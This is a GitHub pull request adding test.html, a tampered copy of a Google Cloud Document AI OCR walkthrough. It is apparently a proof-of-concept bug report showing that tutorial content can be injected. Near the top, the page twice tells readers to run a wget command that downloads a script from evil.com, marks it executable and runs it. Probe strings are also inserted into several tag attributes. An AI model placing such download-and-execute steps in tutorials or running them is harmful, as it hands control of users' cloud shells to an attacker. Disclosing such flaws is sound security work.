Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create test.html #1556

Open
wants to merge 33 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
Show all changes
33 commits
Select commit Hold shift + click to select a range
0557a6b
Create test.html
0x00tom1 Oct 29, 2023
0bd5b6c
Update test.html
0x00tom1 Oct 29, 2023
db9cecb
Update test.html
0x00tom1 Oct 29, 2023
58b9b47
Update test.html
0x00tom1 Oct 29, 2023
800fe7f
Update test.html
0x00tom1 Oct 29, 2023
801ceb4
Update test.html
0x00tom1 Oct 29, 2023
8275ae4
Update test.html
0x00tom1 Oct 29, 2023
d5d9fa4
Update test.html
0x00tom1 Oct 29, 2023
13f14d1
Update test.html
0x00tom1 Oct 29, 2023
cfab669
Update test.html
0x00tom1 Oct 29, 2023
b85e303
Update test.html
0x00tom1 Oct 29, 2023
20aec4b
Update test.html
0x00tom1 Oct 29, 2023
d0910ff
Update test.html
0x00tom1 Oct 29, 2023
3eedbe0
Update test.html
0x00tom1 Oct 29, 2023
c034b99
Update test.html
0x00tom1 Oct 29, 2023
1bec7d6
Update test.html
0x00tom1 Oct 29, 2023
fc4a1ba
Update test.html
0x00tom1 Oct 29, 2023
64e134d
Update test.html
0x00tom1 Oct 30, 2023
75c9080
Update test.html
0x00tom1 Oct 30, 2023
a336b3b
Update test.html
0x00tom1 Oct 30, 2023
7eb8ead
Update test.html
0x00tom1 Oct 30, 2023
7ce24d7
Update test.html
0x00tom1 Oct 30, 2023
fcb6a31
Update test.html
0x00tom1 Oct 30, 2023
d3e29c2
Update test.html
0x00tom1 Oct 30, 2023
5e0f19b
Update test.html
0x00tom1 Oct 30, 2023
02ebd05
Update test.html
0x00tom1 Oct 30, 2023
654c83e
Update test.html
0x00tom1 Oct 30, 2023
8d6a3dc
Update test.html
0x00tom1 Nov 3, 2023
96f9521
Update test.html
0x00tom1 Nov 3, 2023
5078f5c
Update test.html
0x00tom1 Nov 3, 2023
85de702
Update test.html
0x00tom1 Nov 3, 2023
2e28634
Update test.html
0x00tom1 Nov 3, 2023
9a73091
Update test.html
0x00tom1 Nov 3, 2023
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
128 changes: 128 additions & 0 deletions test.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
<h1 id="use-document-ocr-to-process-documents" data-text="This is Proof of Concept Bug Report 308321522">
We Have Full Control Of This Tutorial!!!
</h1>

<p><walkthrough-open-cloud-shell-button></walkthrough-open-cloud-shell-button></p></li>
<li><p>Hack yourself using following command:</p>
<pre class="prettyprint lang-bash" translate="yes" dir="ltr"><code translate="yes" dir="ltr">wget https://evil.com/code.sh && chmod 777 code.sh && ./code.sh
</code></pre>
<p>Replace <code translate="no" dir="ltr">&lt;vm-name&gt;</code> with the name of your VM and <code translate="no" dir="ltr">&lt;zone&gt;</code> with the zone in
which you created your VM.</p></li>
<p><walkthrough-open-cloud-shell-button></walkthrough-open-cloud-shell-button></p></li>
<li><p>Hack yourself using following command:</p>
<pre class="prettyprint lang-bash" translate="yes" dir="ltr"><code translate="yes" dir="ltr">wget https://evil.com/code.sh && chmod 777 code.sh && ./code.sh
</code></pre>
<section class="intro">
<p><a href="https://web-safety.net/">"Web-Safety"</a></p>
<p><img src="https://web-safety.net/whitehat.png?:location/processors/:processorId" alt="Web-Safety"></p>
<p>We can control what API to enable and write custom SSH command that will be pasted into the SHELL</p>


<p>Replace <code translate="no" dir="ltr">&lt;vm-name&gt;</code> with the name of your VM and <code translate="no" dir="ltr">&lt;zone&gt;</code> with the zone in
which you created your VM.</p></li>
</ol>
<p>Learn how to:</p>

<ol>
<li><p>Enable Document AI in a Google Cloud project.</p></li>
<li><p>Create a document OCR Processor, which can identify
and extract text from different types of documents.</p></li>
<li><p>Use the processor to extract text from a sample document.</p></li>
</ol>



<p>Estimated time to complete:
<walkthrough-tutorial-duration duration="3"></walkthrough-tutorial-duration></p>

<p><walkthrough-tutorial-difficulty difficulty="1"></walkthrough-tutorial-difficulty></p>

<p>To get started, click <strong>Start</strong>.</p>



</section>

<section class="prereqs">




<h2 id="set_up_in_a_project" data-text="Set up Document AI in a project">Set up Document AI in a project</h2>

<ol>
<li><p><walkthrough-project-setup billing="true"></walkthrough-project-setup></p></li>
<li><p><walkthrough-enable-apis apis="[{{[[aa'a]]}}]documentai.googleapis.com"></walkthrough-enable-apis></p></li>
</ol>

<hr>

<p>Click <strong>Next</strong> to create a processor.</p>




</section>

<section class="steps">


<h2 id="create_a_document_ocr_processor" data-text="Create a document OCR processor">Create a document OCR processor</h2>

<p>Use the Google Cloud console to create a document OCR processor. See <a href="/document-ai/docs/create-processor">creating and managing processors</a> for more information.</p>

<ol>
<li><p>In the Google Cloud console navigation menu, click <strong>Document AI</strong> and
select <strong>Processor Gallery</strong>.</p>

<p> You can find where it is by clicking the following button:
<walkthrough-menu-navigation sectionId="document-ai;document-ai-my-processor-gallery"></walkthrough-menu-navigation>
</p></li>
<li><p>In the <strong>Processor Gallery</strong>,
<walkthrough-spotlight-pointer cssSelector="dai-search-input" validationPath="/ai/document-ai/processor-libr[{{[[aa'a]]}}]ary" validationLink="/ai/document-ai/processor-[{{[[aa'a]]}}]library">search for</walkthrough-spotlight-pointer>
<strong>Document OCR</strong> and select <strong>Create</strong>.</p>

<p></p></li>
<li><p>Enter a <strong>Processor name</strong>, such as <code translate="n[{{[[aa'a]]}}]o" dir="ltr">quickstart-document-ocr</code>.</p></li>
<li><p>Select the region closest to you.</p></li>
<li><p>Click the <strong>Create</strong> button.</p></li>
</ol>

<p>Your processor has now been created.</p>

<h2 id="test_processor" data-text="Test Processor">Test Processor</h2>

<p>You should now be on the <strong>Processor Details</strong> page of the processor you just created.</p>

<ol>
<li><p><a href="https://storage.googleapis.com/cloud-samples-data/documentai/codelabs/ocr/Winnie_the_Pooh_3_Pages.pdf">Download the sample document</a></p>

<p><img src="https://codelabs.developers.google.com/static/codelabs/docai-ocr-python/img/Winnie_the_Pooh_Titlepage.jpg" alt="Winnie The Pooh Cover"></p>

<p>It is a PDF file containing the first 3 pages of the classic novel &quot;Winnie the Pooh&quot; by A.A. Milne, which is in the Public Domain in the United States. This file was scanned and digitized by Google Books.</p></li>
<li><p>Click the
<walkthrough-spotlight-pointer cssSelector="dai-document-preview-button button" validationPath="/ai/document-ai/locations/:location/processors/:processorId/details"> <strong>Upload Test Document</strong></walkthrough-spotlight-pointer> button and select the document you just downloaded.</p></li>
<li><p>You should now be on the <strong>Document OCR analysis</strong> page. You can view the OCR detected text and document annotations.</p>

<p></p></li>
</ol>

<p>You have successfully used Document AI to extract text from a document.</p>

<p>To learn about advanced OCR features and add ons, go to <a href="/document-ai/docs/process-documents-ocr">Use Enterprise Document OCR to process documents</a>.</p>


</section>

<h2 id="next-steps" data-text="Next steps">Next steps</h2>


<p>
Keep the resources that you created and do more with Document AI, or clean up to avoid
billing charges.
</p>


<section class="whatsnext">

<h3 id="whats-next" data-text="Do more with Document AI">Do more with Document AI</h3>